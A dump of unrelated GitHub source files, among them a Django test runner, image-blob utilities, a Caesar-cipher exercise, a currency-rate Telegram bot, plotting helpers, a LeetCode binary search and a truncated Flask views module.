{"seq_id":"25785487539","text":"#!/usr/bin/env python\nimport sys\n\nfrom os.path import dirname, abspath\n\nfrom django.conf import settings\n\nif not settings.configured:\n    settings.configure(\n        DATABASES = {\n            \"default\": {\n                 \"ENGINE\": \"django.db.backends.sqlite3\",\n                 \"NAME\": \":memory:\",\n            },\n        },\n        INSTALLED_APPS=[\n            \"django.contrib.contenttypes\",\n            \"django.contrib.auth\",\n            \"fixture_generator\",\n            \"fixture_generator.tests\",\n        ]\n    )\n\nfrom django.core.management import call_command\n\n\ndef runtests(*test_args):\n    if not test_args:\n        test_args = [\"tests\"]\n    parent = dirname(abspath(__file__))\n    sys.path.insert(0, parent)\n    call_command(\"test\", *test_args)\n\n\nif __name__ == '__main__':\n    runtests(*sys.argv[1:])\n\n","repo_name":"alex/django-fixture-generator","sub_path":"runtests.py","file_name":"runtests.py","file_ext":"py","file_size_in_byte":811,"program_lang":"python","lang":"en","doc_type":"code","stars":138,"dataset":"github-code","pt":"18"}
{"seq_id":"16439182152","text":"\"\"\"\nConstants to combine URL queries to make calls to public API end points.\n\nThese API calls return non user specified information i.e. treating you as\nan anonymous user.\n\nLast Modified: 04.01.2022\n\"\"\"\n\n# Common part of each final URL\nBASE_URL = \"https://api.occe.io\"\n\n# Available trade pairs on the market\nTRADE_PAIRS = [\n    \"doge_btc\", \"eth_btc\", \"btc_uah\", \"krb_btc\", \"doge_uah\", \"eth_uah\",\n    \"rdd_btc\", \"tlr_btc\", \"ufo_btc\", \"krb_usdt\", \"uni_usdt\", \"ltv_usdt\",\n    \"btc_usdt\", \"krb_uah\", \"krb_rub\", \"krb_tlr\", \"skyr_trx\", \"ufo_sugar\",\n    \"vqr_trx\", \"pny_trx\", \"sapp_trx\", \"ufo_usdt\", \"rdd_uah\", \"rdd_rub\",\n    \"krb_rdd\", \"tlr_usdt\", \"ufo_rub\", \"krb_ufo\", \"ufo_uah\", \"btc_rub\",\n    \"uah_rub\", \"krb_xmr\", \"ufo_xmr\", \"xmr_uah\", \"usdt_rub\", \"usdt_uah\",\n    \"tlr_uah\", \"tlr_rub\", \"ufo_doge\", \"azr_trx\", \"idna_uah\", \"idna_rub\",\n    \"idna_usdt\", \"trx_uah\", \"bnb_uah\", \"sol_uah\", \"qrax_usdt\", \"pny_usdt\",\n    \"matic_uah\", \"krb_trx\", \"ufo_trx\"\n]\n# ______________________________________________________________________________\n# What trade pair to use to make API requests\nTRADE_PAIR = \"skyr_trx\"\n\n# ______________________________________________________________________________\n# Get active orders by a certain trade pair\nACTIVE_ORDERS_QUERY = \"/public/orders/\"\n\nACTIVE_ORDERS_URL_PATTERN = BASE_URL + ACTIVE_ORDERS_QUERY + \"{pair}\"\n# ______________________________________________________________________________\n# Get server time. Used for signature creation when making private API calls\nSERVER_TIME_QUERY = \"/public/tradeview/time\"\n\nSERVER_TIME_URL = BASE_URL + SERVER_TIME_QUERY\n# ______________________________________________________________________________\n# Get market trade history by given trade pair\nTRADE_HIST_BY_PAIR_QUERY = \"/public/info/\"\n\nTRADE_HISTORY_BY_PAIR_PATTERN = BASE_URL + TRADE_HIST_BY_PAIR_QUERY + \"{pair}\"\n# ______________________________________________________________________________\n","repo_name":"OTR/exchange_webui","sub_path":"config/exchanges/occe/public_api.py","file_name":"public_api.py","file_ext":"py","file_size_in_byte":1917,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"16193143991","text":"from core.config import cfg\nfrom datasets.ds_utils import cropImageToAnnoRegion\nimport numpy as np\nimport cv2\nimport matplotlib.pyplot as plt\n\ndef im_list_to_blob(ims):\n    \"\"\"Convert a list of images into a network input.\n\n    Assumes images are already prepared (means subtracted, BGR order, ...).\n    \"\"\"\n    max_shape = np.array([im.shape for im in ims]).max(axis=0)\n    num_images = len(ims)\n    blob = np.zeros((num_images, max_shape[0], max_shape[1], 3),\n                    dtype=np.float32)\n\n    for i in xrange(num_images):\n        im = ims[i]\n        blob[i, 0:im.shape[0], 0:im.shape[1], :] = im\n        img = blob[i]\n    \n    # Move channels (axis 3) to axis 1\n    # Axis order will become: (batch elem, channel, height, width)\n    channel_swap = (0, 3, 1, 2)\n    blob = blob.transpose(channel_swap)\n    return blob\n\ndef blob_list_im(blobs):\n    \"\"\"Convert a list of blobs into a images\n\n    Assumes blobs are already prepared (means are NOT subtracted tho, BGR order, ...).\n    \"\"\"\n    max_shape = np.array([blob.shape for blob in blobs]).max(axis=0)\n    num_blobs = len(blobs)\n    if len(max_shape) == 1:\n        sqrt_shape = np.sqrt(max_shape[0]/3)\n        max_shape = [0,sqrt_shape,sqrt_shape]\n    imgs = np.zeros((num_blobs, 3, max_shape[1], max_shape[2]),\n                    dtype=np.float32)\n    for i in xrange(num_blobs):\n        blob = blobs[i]\n        imgs[i, :, 0:max_shape[1], 0:max_shape[2]] = blob.reshape(imgs[i].shape)\n    # Move channels (axis 1) to axis 3\n    # Axis order will become: (batch elem, height, width, channel)\n    channel_swap = (0, 2, 3, 1)\n    imgs = imgs.transpose(channel_swap)\n    return imgs\n\ndef _get_blobs(im, rois):\n    \"\"\"Convert an image and RoIs within that image into network inputs.\"\"\"\n    blobs = {'data' : None, 'rois' : None}\n    blobs['data'], im_scale_factors,im_rotate_factors = _get_image_blob(im,None)\n    # elif cfg.TASK == 'classification':\n    #     blobs['data'], im_scale_factors,im_rotate_factors = _get_cropped_image_blob(im)\n    if not cfg.TEST.OBJ_DET.HAS_RPN and cfg.TASK == 'object_detection':\n        blobs['rois'] = _get_rois_blob(rois, im_scale_factors)\n    return blobs, im_scale_factors,im_rotate_factors\n\ndef _get_blobs_from_roidb(roidb, rois):\n    \"\"\"Convert an image and RoIs within that image into network inputs.\"\"\"\n    blobs = {'data' : None, 'rois' : None}\n    blobs['data'], im_scale_factors,im_rotate_factors = _get_image_blob_from_roidb(roidb,None)\n    # elif cfg.TASK == 'classification':\n    #     blobs['data'], im_scale_factors,im_rotate_factors = _get_cropped_image_blob(im)\n    if not cfg.TEST.OBJ_DET.HAS_RPN and cfg.TASK == 'object_detection':\n        blobs['rois'] = _get_rois_blob(rois, im_scale_factors)\n    return blobs, im_scale_factors,im_rotate_factors\n\ndef _get_image_blob_from_roidb(roidb, scale_inds):\n    \"\"\"Builds an input blob from the images in the roidb at the specified\n    scales.\n    \"\"\"\n    # we dont return rotation currently\n    num_images = len(roidb)\n    if scale_inds is None:\n        scale_inds = np.zeros(num_images).astype(np.uint8)\n    processed_ims = []\n    im_scales = []\n    for i in xrange(num_images):\n        im = cv2.imread(roidb[i]['image'])\n        if roidb[i]['flipped']:\n            im = im[:, ::-1, :]\n        target_size = cfg.TRAIN.SCALES[scale_inds[i]]\n        im, im_scale = prep_im_for_blob(im, cfg.PIXEL_MEANS, target_size,\n                                        cfg.TRAIN.MAX_SIZE)\n        im_scales.append(im_scale)\n        processed_ims.append(im)\n\n    # Create a blob to hold the input images\n    blob = im_list_to_blob(processed_ims)\n\n    return blob, im_scales, None\n\ndef _get_image_blob(im,scale_inds):\n    \"\"\"\n    scale_inds included to work between core/test.py \n    and [cls_data_layer/minibatch.py,\n    roi_data_layer/minibatch.py,\n    alcls_data_layer/minibatch.py]\n    \"\"\"\n\n    \"\"\"Converts an image into a network input.\n\n    Arguments:\n        im (ndarray): a color image in BGR order\n\n    Returns:\n        blob (ndarray): a data blob holding an image pyramid\n        im_scale_factors (list): list of image scales (relative to im) used\n            in the image pyramid\n    \"\"\"\n    im_orig = im.astype(np.float32, copy=True)\n    im_orig -= cfg.PIXEL_MEANS\n\n    im_shape = im_orig.shape\n    im_size_min = np.min(im_shape[0:2])\n    im_size_max = np.max(im_shape[0:2])\n\n    processed_ims = []\n    im_scale_factors = []\n    im_rotate_factors = []\n\n    if cfg.TASK == 'object_detection':\n        for target_size in cfg.TEST.SCALES:\n            im_scale_x = float(target_size) / float(im_size_min)\n            im_scale_y = float(target_size) / float(im_size_min)\n            # Prevent the biggest axis from being more than MAX_SIZE\n            if np.round(im_scale_x * im_size_max) > cfg.TEST.MAX_SIZE:\n                im_scale_x = float(cfg.TEST.MAX_SIZE) / float(im_size_max)\n                im_scale_y = float(cfg.TEST.MAX_SIZE) / float(im_size_max)\n\n            if cfg.SSD == True:\n                im_scale_x = float(cfg.SSD_img_size) / float(im_shape[1])\n                im_scale_y = float(cfg.SSD_img_size) / float(im_shape[0])\n            im = cv2.resize(im_orig, None, None, fx=im_scale_x, fy=im_scale_y,\n                            interpolation=cv2.INTER_LINEAR)\n            M = None\n            if cfg._DEBUG.core.test: print(\"[pre-process] im.shape\",im.shape)\n            if cfg.ROTATE_IMAGE != -1:\n            #if cfg.ROTATE_IMAGE !=  0:\n                rows,cols = im.shape[:2]\n                if cfg._DEBUG.core.test: print(\"cols,rows\",cols,rows)\n                rotationMat, scale = getRotationInfo(cfg.ROTATE_IMAGE,cols,rows)\n                im = cv2.warpAffine(im,rotationMat,(cols,rows),scale)\n                im_rotate_factors.append([cfg.ROTATE_IMAGE,cols,rows,im_shape])\n            if cfg.SSD == True:\n                im_scale_factors.append([im_scale_x,im_scale_y])\n            else:\n                im_scale_factors.append(im_scale_x)\n            if cfg._DEBUG.core.test: print(\"[post-process] im.shape\",im.shape)\n            processed_ims.append(im)\n    elif cfg.TASK == 'classification':\n        newSize = (cfg.CROPPED_IMAGE_SIZE,cfg.CROPPED_IMAGE_SIZE)\n        im = cv2.resize(im_orig, newSize, None,interpolation=cv2.INTER_LINEAR)\n        processed_ims.append(im)\n\n    # Create a blob to hold the input images\n    blob = im_list_to_blob(processed_ims)\n\n    return blob, np.array(im_scale_factors),im_rotate_factors\n\ndef _get_raw_image_blob(roidb, records, scale_inds):\n    \"\"\"Builds an input blob from the images in the roidb at the specified\n    scales.\n    \"\"\"\n    return getRawCroppedImageBlob(roidb, records, scale_inds,False)\n\ndef _get_cropped_image_blob(roidb, records, scale_inds):\n    \"\"\"Builds an input blob from the images in the roidb at the specified\n    scales.\n    \"\"\"\n    return getRawCroppedImageBlob(roidb, records, scale_inds,True)\n\ndef getRawImageBlob(roidb,records,scale_inds):\n    return getRawCroppedImageBlob(roidb,records,scale_inds,False)\n    \ndef getCroppedImageBlob(roidb,records,scale_inds):\n    return getRawCroppedImageBlob(roidb,records,scale_inds,True)\n\ndef getRawCroppedImageBlob(roidb,records,scale_inds,getCropped):\n    \"\"\"Builds an input blob from the images in the roidb at the specified\n    scales.\n    \"\"\"\n    num_images = len(roidb)\n    processed_ims = []\n    im_scales = []\n    for idx, roi in enumerate(roidb):\n        im = cv2.imread(roi['image'])\n        if roi['flipped']:\n            im = im[:, ::-1, :]\n        target_size = cfg.TRAIN.SCALES[0]\n        cimg = im\n        if getCropped:\n            cimg = cropImageToAnnoRegion(im,roi['boxes'][0]) # always the first box since we are *flattened*\n        target_size = cfg.TRAIN.SCALES[0]\n        cimg, cimg_scale = prep_im_for_blob(cimg, cfg.PIXEL_MEANS, target_size,\n                                        cfg.TRAIN.MAX_SIZE)\n        cimg_scale = 1.0 # why always \"1.0\"??\n        processed_ims.append(cimg)\n        im_scales.append(cimg_scale)\n    # Create a blob to hold the input images\n    blob = im_list_to_blob(processed_ims)\n\n    return blob, im_scales\n    \ndef prep_im_for_blob(im, pixel_means, target_size, max_size):\n    \"\"\"Mean subtract and scale an image for use in a blob.\"\"\"\n    im = im.astype(np.float32, copy=False)\n    im -= pixel_means\n    im_shape = im.shape\n    im_size_min = np.min(im_shape[0:2])\n    im_size_max = np.max(im_shape[0:2])\n    im_scale = float(target_size) / float(im_size_min)\n    # Prevent the biggest axis from being more than MAX_SIZE\n    if np.round(im_scale * im_size_max) > max_size:\n        im_scale = float(max_size) / float(im_size_max)\n    im = cv2.resize(im, None, None, fx=im_scale, fy=im_scale,\n                    interpolation=cv2.INTER_LINEAR)\n\n    return im, im_scale\n\ndef prep_im_for_vae_blob(im, pixel_means, target_size, max_size):\n    # disregard the asepct ratio\n    # assume target size for all axis\n    \"\"\"Mean subtract and scale an image for use in a blob.\"\"\"\n    im = im.astype(np.float32, copy=False)\n    im -= pixel_means\n    im_shape = im.shape\n    #print(\"[utils/prep_im_for_vae_blob]: im.shape\",im.shape)\n    im_scale = [0,0]\n    im_scale[0] = float(target_size) / float(im_shape[0])\n    im_scale[0] = float(target_size) / float(im_shape[1])\n\n    im = cv2.resize(im, (target_size,target_size),\n                    interpolation=cv2.INTER_LINEAR)\n\n    return im, im_scale\n\ndef save_blob_list_to_file(blob_list,append_str_l,vis=False):\n    print(\"[./utils/blob.py: save_blob_list_to_file]: saving images\")\n    imgs = blob_list_im(blob_list)\n    useAppendStr = append_str_l is not None and len(append_str_l) == imgs.shape[0]\n    for idx,img in enumerate(imgs):\n        img[:,:,:] *= 255\n        img[:cfg.CROPPED_IMAGE_SIZE,:cfg.CROPPED_IMAGE_SIZE,:] += cfg.PIXEL_MEANS\n        img = img.astype(np.uint8)\n        if useAppendStr:\n            fn = \"save_blob_list_image_{}_{}.png\".format(idx,append_str_l[idx])\n        else:\n            fn = \"save_blob_list_image_{}.png\".format(idx)\n        if vis is False:\n            cv2.imwrite(fn,img)\n        else:\n            plt.imshow(img[:,:,::-1])\n            plt.show()\n\ndef createInfoBlob(im_data,im_scales):\n    # ensure normalization of image data\n    if np.max(im_data) > 1: # assume this means we haven't normalized\n        im_data /= 255 \n    im_info = {}\n    im_info['data'] = im_data\n    im_info['scales'] = im_scales\n    return im_info\n\n\n","repo_name":"PurdueCAM2Project/metaDatasetGenerator","sub_path":"lib/utils/blob.py","file_name":"blob.py","file_ext":"py","file_size_in_byte":10337,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"11405944760","text":"from django.contrib import admin\nfrom daterangefilter.filters import PastDateRangeFilter, FutureDateRangeFilter\nfrom django.contrib import messages\nfrom django.utils.translation import ngettext\n# Register your models here.\nfrom .models import News, NewsType, PaperType, NewsFile,Newsimages\nfrom adminsortable2.admin import SortableAdminMixin\n\n#Action Functions\nclass NewsimageAdmin(admin.TabularInline):\n    model = Newsimages\nclass NewsFileAdmin(admin.TabularInline):\n    model = NewsFile\n    \n@admin.register(News)\nclass newsAdmin(SortableAdminMixin,admin.ModelAdmin):\n    inlines = [NewsimageAdmin,NewsFileAdmin]\n    ordering = ['my_order']\n    actions = ['make_published','make_draft','make_withdraw']\n    search_fields = ['title__icontains']\n    list_display = ['title','newstype','newsdate','status']\n    list_filter = [('newsdate', PastDateRangeFilter),('created_at', PastDateRangeFilter),'papertype','newstype','status']\n    prepopulated_fields = {'slug': ('title',)}\n    fieldsets = (\n        (\"البيانات التعرفيه بالخبر\", {\n            'fields': [('title', \"newsdate\"),('slug','negative')],\n            \n        }),(\"مضمون و ملخض الخبر\", {\n            'fields': [\"newsscript\"],\n            \n        }),\n        ('اماكن ظهور الخبر و الروابط', {\n            'fields': [('papertype','newstype') ,\"newsurl\"]\n            }),\n            ('الوسائط المتعددة للخبر ', {\n            'fields': [\"newsvideo\",\"newsembedvideo\"]\n            })\n    )\n    \n    def make_published(self, request, queryset,):\n        \n        updated = queryset.update(status=News.STATUS_CHOICES.PUBLISHED)\n       \n        self.message_user(request, ngettext(\n            '%d لقد تم نشر الخبر بنجاح.',\n            '%d لقد تم نشر الاخبار بنجاح',\n            updated,\n        ) % updated, messages.SUCCESS)\n    make_published.short_description = \"نشر الخبر \" \n    def make_draft(self, request, queryset,):\n        updated = queryset.update(status=News.STATUS_CHOICES.DRAFT)\n       \n        self.message_user(request, ngettext(\n            '%d لقد تم أعادة الخبر بنجاح.',\n            '%d لقد تم أعادة الاخبار بنجاح',\n            updated,\n        ) % updated, messages.SUCCESS)\n    make_draft.short_description = \"أعادة الخبر للتعديل \"  \n    def make_withdraw(self, request, queryset,):\n        updated = queryset.update(status=News.STATUS_CHOICES.WITHDRAW)\n       \n        self.message_user(request, ngettext(\n            '%d لقد تم سحب الخبر بنجاح.',\n            '%d لقد تم سحب الاخبار بنجاح',\n            updated,\n        ) % updated, messages.SUCCESS)\n    make_withdraw.short_description = \"سحب الخبر من النشر \" \n    def get_actions(self, request):\n        actions = super(newsAdmin, self).get_actions(request)\n        if  not request.user.is_superuser:\n            del actions['make_withdraw']\n            del actions['make_draft']\n        return actions\n\n    #fields = [('title','negative',\"slug\"),  ('newstype', 'papertype'),\"newsscript\",'newsdate',(\"newsvideo\",\"newsembedvideo\")]\n   \n       \n    \n\n@admin.register(Newsimages)\nclass NewsimageAdmin(admin.ModelAdmin):\n    pass\n@admin.register(NewsFile)\nclass NewsFileAdmin(admin.ModelAdmin):\n    pass   \nadmin.site.register(NewsType)\nadmin.site.register(PaperType)\n\n\n\n\n\n","repo_name":"MohamedSultan1981/CMS","sub_path":"news/admin.py","file_name":"admin.py","file_ext":"py","file_size_in_byte":3433,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"12170216636","text":"\"\"\" cSpell: disable \"\"\"\n\n# EJERCICIOS EN CLASE FOR - WHILE\n\n\n# 1- Un grupo de amigos decide organizar un juego de estrategia, para lo cual\n# forman dos equipos de 6 integrantes cada uno, donde un integrante de cada\n# equipo es el “jefe” y los otros 5 son sus “oficiales”.\n# La regla más importante del juego es que sólo se comunicarán mediante un\n# canal común, por lo que deben buscar la forma de ocultar el contenido de sus\n# mensajes. Uno de los equipos decide utilizar un método antiguo de\n# encriptación llamado “la cifra del césar”, que consiste en correr cada letra\n# del mensaje –considerando la posición de cada una en el alfabeto– una\n# determinada cantidad de lugares.\n# Ejemplo: si el corrimiento es de 2 lugares, la palabra “ATAQUE” se\n# transforma en “CVCSWG”.\n# Cada día, el “jefe” del equipo debe enviar un mensaje a cada uno de sus\n# oficiales.\n# Escribir un programa que permita encriptar los 5 mensajes. El corrimiento\n# (cantidad de lugares que se correrán las letras) será dado por el usuario\n# antes de comenzar a encriptar. Los 5 mensajes usarán el mismo corrimiento.\n# Nota: si el alfabeto termina antes de poder correr la cantidad de lugares\n# necesarios, se vuelve a comenzar desde la letra “a”.\n# Ejemplo: la palabra “EXTRA” corrida 3 lugares se convierte en “HAWUD”.\n# Utilizando el alfabeto español, de 27 letras, el siguiente cálculo\n# matemático permite volver a comenzar por el principio una vez que se llegó a\n# la “z”: (índice de la letra a correr+corrimiento)%27\n# Sólo se encriptarán las letras de los mensajes, dejando al resto de\n# caracteres sin modificación.\ndef encrypt_message(message, shift):\n    alphabet = \"ABCDEFGHIJKLMNOPQRSTUVWXYZ\"\n    encrypted_message = \"\"\n\n    for char in message:\n        if char.isalpha():\n            is_uppercase = char.isupper()\n            index = alphabet.index(char.upper())\n            encrypted_index = (index + shift) % len(alphabet)\n            encrypted_char = alphabet[encrypted_index]\n\n            if not is_uppercase:\n                encrypted_char = encrypted_char.lower()\n\n            encrypted_message += encrypted_char\n        else:\n            encrypted_message += char\n\n    return encrypted_message\n\n\nshift = int(input(\"Ingrese el corrimiento para la encriptación: \"))\nboss_message = input(\"Ingrese el mensaje del jefe: \")\nofficers_messages = []\n\nfor i in range(5):\n    message = input(f\"Ingrese el mensaje del oficial {i + 1}: \")\n    officers_messages.append(message)\n\nboss_encrypted = encrypt_message(boss_message, shift)\nofficers_encrypted = [encrypt_message(message, shift) for message in officers_messages]\n\nprint(\"\\nMensaje encriptado del jefe:\", boss_encrypted)\nfor i, encrypted_message in enumerate(officers_encrypted, start=1):\n    print(f\"Mensaje encriptado del oficial {i}:\", encrypted_message)\n\n\n# 2- Crear un programa que solicite el ingreso de números enteros positivos,\n# hasta que el usuario ingrese el 0. Por cada número, informar cuántos dígitos\n# pares y cuántos impares tiene. Al finalizar, informar la cantidad de dígitos\n# pares y de dígitos impares leídos en total.\ndef count_even_odd_digits(number):\n    even_digits = 0\n    odd_digits = 0\n\n    while number > 0:\n        digit = number % 10\n        if digit % 2 == 0:\n            even_digits += 1\n        else:\n            odd_digits += 1\n        number //= 10\n\n    return even_digits, odd_digits\n\n\ntotal_even_digits = 0\ntotal_odd_digits = 0\n\nnumber = int(input(\"Ingrese un número (0 para salir): \"))\n\nwhile number != 0:\n    even_digits, odd_digits = count_even_odd_digits(number)\n    total_even_digits += even_digits\n    total_odd_digits += odd_digits\n    print(f\"Dígitos pares: {even_digits}, Dígitos impares: {odd_digits}\")\n    number = int(input(\"Ingrese otro número (0 para salir): \"))\n\nprint(\n    f\"Total dígitos pares: {total_even_digits}, Total dígitos impares: {total_odd_digits}\"\n)\n","repo_name":"Viguitars/tup_utn","sub_path":"Programacion I/06_ejercicio_for-while.py","file_name":"06_ejercicio_for-while.py","file_ext":"py","file_size_in_byte":3934,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"74800702760","text":"import string\n\nalphabet = string.ascii_lowercase\nciphertext = 'JEJAHPEIAOHPDENPU' # \nplaintext = ''\n\nfor key in range(0, 127):\n    for c in ciphertext:\n        if c in alphabet:\n            position = alphabet.find(c)\n            new_position = (position - key) % 26\n            new_character = alphabet[new_position]\n            plaintext += new_character\n        else:\n            plaintext += c\n    plaintext = plaintext.replace('$', ' ')\n    print(f'\\n\\n{plaintext}\\n\\n')\n    words = plaintext.split()\n    print(words)\n\n    wordset = open('words.txt', 'r')\n    for word in words:\n        wordcount = 0\n        if word in wordset:\n            wordcount += 1\n        print(wordcount)\n    wordset.close()\n\n    plaintext = ''","repo_name":"iw365/micro-sat-all-missions","sub_path":"decrypt_old.py","file_name":"decrypt_old.py","file_ext":"py","file_size_in_byte":725,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"5465122708","text":"import telebot\r\n\r\nfrom config import TOKEN, HELP\r\nfrom excepions import BotUserException\r\nfrom extentions import APICurses, Calculate\r\n\r\nif __name__ == '__main__':\r\n\r\n    bot = telebot.TeleBot(TOKEN)\r\n    api = APICurses()\r\n\r\n    @bot.message_handler(commands=['start', 'help'])\r\n    def reply_help(message: telebot.types.Message):\r\n        bot.send_message(message.chat.id, HELP)\r\n\r\n    @bot.message_handler(commands=api.cur_list)\r\n    def reply_curs(message: telebot.types.Message):\r\n        # Возвращаем курс отдельно выбранной валюты\r\n        bot.send_message(message.chat.id, api.currency(message.text))\r\n\r\n    @bot.message_handler(commands=['values'])\r\n    def reply_all(message: telebot.types.Message):\r\n        # Возвращаем полный список валют с \"кликабельными\" командами\r\n        bot.send_message(message.chat.id, api.all_currency)\r\n\r\n    @bot.message_handler(content_types=['text'])\r\n    def reply_convert(message: telebot.types.Message):\r\n        # Конвертируем валюты\r\n        try:\r\n            base, sym, amount = message.text.split()\r\n        except ValueError:\r\n            BotUserException(\r\n                bot.reply_to(\r\n                    message, 'Неверно задано число параметров\\n'\r\n                             'или неверная команда'\r\n                )\r\n            )\r\n        else:\r\n            bot.reply_to(\r\n                message, Calculate.convert(api.cbr_req, base, sym, amount)\r\n            )\r\n\r\n\r\n    bot.polling(none_stop=True)\r\n","repo_name":"spawlov/currency_bot","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1613,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"75052305061","text":"def autolabel(rects, ax):\n    \"\"\"Attach a text label above each bar in *rects*, displaying its height.\"\"\"\n    for rect in rects:\n        height = rect.get_height().round(1)\n        ax.annotate('{}%'.format(height),\n                    xy=(rect.get_x() + rect.get_width() / 2, height),\n                    xytext=(0, 3),  # 3 points vertical offset\n                    textcoords=\"offset points\",\n                    ha='center', va='bottom', \n                    color=\"black\", size=6.5)\n\n\ndef autolabel_count(rects, ax, df):\n    \"\"\"Attach a text label above each bar in *rects*, displaying its height.\"\"\"\n    for rect, (i, rows) in zip(rects, df.iterrows()):\n        low_lb = \"(\"+str(int(rows[\"total\"]))+\")\"\n\n        ax.annotate(\n            '{}'.format(low_lb),\n            xy=(rect.get_x() + rect.get_width() / 2, 2),\n            xytext=(0, 0),  # 3 points vertical offset\n            textcoords=\"offset points\",\n            ha='center', va='bottom', \n            color=\"black\", size=6.5)\n\n\ndef make_autopct(values):\n    def my_autopct(pct):\n        total = sum(values)\n        val = int(round(pct*total/100.0))\n        return '{p:.2f}%  ({v:d})'.format(p=pct,v=val)\n    return my_autopct\n    \n\ndef autolabel_count_boxed(rects, ax, df):\n    \"\"\"Attach a text label above each bar in *rects*, displaying its height.\"\"\"\n    for rect, (i, rows) in zip(rects, df.iterrows()):\n        low_lb = \"(\"+str(int(rows[\"total\"]))+\")\"\n\n        ax.annotate(\n            '{}'.format(low_lb),\n            xy=(rect.get_x() + rect.get_width() / 2, 2),\n            xytext=(0, 0),  # 3 points vertical offset\n            textcoords=\"offset points\",\n            ha='center', va='bottom', \n            color=\"black\", size=6.5,\n            bbox=dict(facecolor='white', boxstyle='round', alpha=0.80, pad=0.01))\n\n\ndef fix_name(el):\n    return el.split('Dataverse')[0].strip()\n\n\ndef fix_name2(x):\n    if 'International Interactions (II)' in x:\n        return 'International Interactions (II)'\n    if 'American Journal of Political Science (AJPS)' in x:\n        return 'American Journal of Political\\nScience (AJPS)'\n    if 'British Journal of Political Science' in x:\n        return 'British Journal of\\nPolitical Science'\n    if 'American Political Science Review' in x:\n        return 'American Political\\nScience Review'\n    if 'Review of Economics and Statistics' in x:\n        return 'Review of Economics\\nand Statistics'\n    if 'Political Science Research and Methods (PSRM)' in x:\n        return 'Political Science Research\\nand Methods (PSRM)'\n    if 'Journal of Experimental Political Science' in x:\n        return 'Journal of Experimental\\nPolitical Science'\n    if 'International Studies Quarterly' in x:\n        return 'International\\nStudies Quarterly'\n    return x","repo_name":"atrisovic/dataverse-r-study","sub_path":"analysis/helpers.py","file_name":"helpers.py","file_ext":"py","file_size_in_byte":2753,"program_lang":"python","lang":"en","doc_type":"code","stars":15,"dataset":"github-code","pt":"35"}
{"seq_id":"75292686500","text":"'''\n统计一个数字在排序数组中出现的次数。\n\n \n\n示例 1:\n\n输入: nums = [5,7,7,8,8,10], target = 8\n输出: 2\n示例 2:\n\n输入: nums = [5,7,7,8,8,10], target = 6\n输出: 0\n \n\n限制：\n\n0 <= 数组长度 <= 50000\n\n\n\n来源：力扣（LeetCode）\n链接：https://leetcode-cn.com/problems/zai-pai-xu-shu-zu-zhong-cha-zhao-shu-zi-lcof\n著作权归领扣网络所有。商业转载请联系官方授权，非商业转载请注明出处。\n'''\n\n\n# 1 O（n） 低效  遍历一遍数组\nclass Solution:\n    def search(self, nums: List[int], target: int) -> int:\n\n        count = 0\n        for num in nums:\n            if num == target: count += 1\n        return count\n\n\n# 2 官方思路 二分法 迭代查找  28/15.7  99/5\n# class Solution:\n#     def search(self, nums: List[int], target: int) -> int:\n#         if len(nums) == 0:return 0\n#         # flag: 0为找第一个  1为找第二个\n#         def getMIndex(l, r, flag):\n#             if l > r:return -1\n#             mid = l + (r-l) // 2\n#             if nums[mid] > target:\n#                 return getMIndex(l, mid-1, flag)\n#             elif nums[mid] < target:\n#                 return getMIndex(mid+1, r, flag)\n#             else:\n#                 # mid = target 判断是不是最边上的\n#                 if (flag == 0 and ( mid == 0 or nums[mid-1] != target)) or \\\n#                 (flag == 1 and (mid == len(nums)-1 or nums[mid+1] != target)):\n#                     # 找到第一个 # 找到最后一个\n#                     return mid\n#                 else:\n#                     # 找到中间的target\n#                     return getMIndex(l, mid-1, flag) if flag == 0 else getMIndex(mid+1, r, flag)\n#         first = getMIndex(0, len(nums)-1, 0)\n#         end = getMIndex(0, len(nums)-1, 1)\n\n#         return end - first + 1 if first != -1 and end != -1 else 0\n\n\n# 3 大佬 循环二分查找\nclass Solution:\n    def search(self, nums: List[int], target: int) -> int:\n\n        i, j = 0, len(nums) - 1\n\n        # 寻找右边界（最后一个target的下一个元素的位置）\n        while i <= j:\n            mid = i + (j - i) // 2\n            if nums[mid] <= target:\n                # 相等的时候，说明右边界肯定在[mid+1, j]里，所以更新i进行右侧搜索\n                i = mid + 1\n            else:\n                j = mid - 1\n\n        if j >= 0 and nums[j] != target: return 0\n        right = i\n        # i, j = 0, right   # 不可，因为若为空数组，此时i=j=0, 下面的while循环就能进去，就会报错out of range\n        i = 0\n\n        # 寻找左边界\n        while i <= j:\n            mid = i + (j - i) // 2\n            if nums[mid] < target:\n                i = mid + 1\n            else:\n                # 相等的时候，说明左边界肯定在[i,mid-1]里，所以更新j进行左侧搜索\n                j = mid - 1\n\n        left = j\n\n        return right - left - 1\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n","repo_name":"GeekDream-x/LeecodeStory","sub_path":"JZ/JZ53-1-NumCountsInSortedArray.py","file_name":"JZ53-1-NumCountsInSortedArray.py","file_ext":"py","file_size_in_byte":2956,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"28260726542","text":"import mimetypes\r\nimport os\r\nfrom re import X\r\nfrom unicodedata import name\r\nfrom flask import Blueprint, appcontext_popped, redirect, render_template, request, flash, jsonify, url_for\r\nfrom flask_login import login_required, current_user\r\nfrom werkzeug.utils import secure_filename\r\nfrom .models import FDP, Note,Events,Workshops,publications,CP,JOURNAL\r\nfrom . import db\r\nimport json\r\nviews = Blueprint('views', __name__)\r\n\r\n@views.route('/', methods=['GET', 'POST'])\r\n@login_required\r\ndef home():\r\n    if request.method == 'POST':\r\n        title = request.form['title']\r\n        author = request.form['author']\r\n        teacher = request.form['teacher']\r\n        journal = request.form['journal']\r\n        year = request.form['year']\r\n        link = request.form['link']\r\n        index = request.form['index']\r\n       \r\n\r\n        new_note = Note(title=title, author=author, department_teacher=teacher,journal=journal,publication_year=year,link=link,h_index=index, user_id=current_user.id)\r\n\r\n  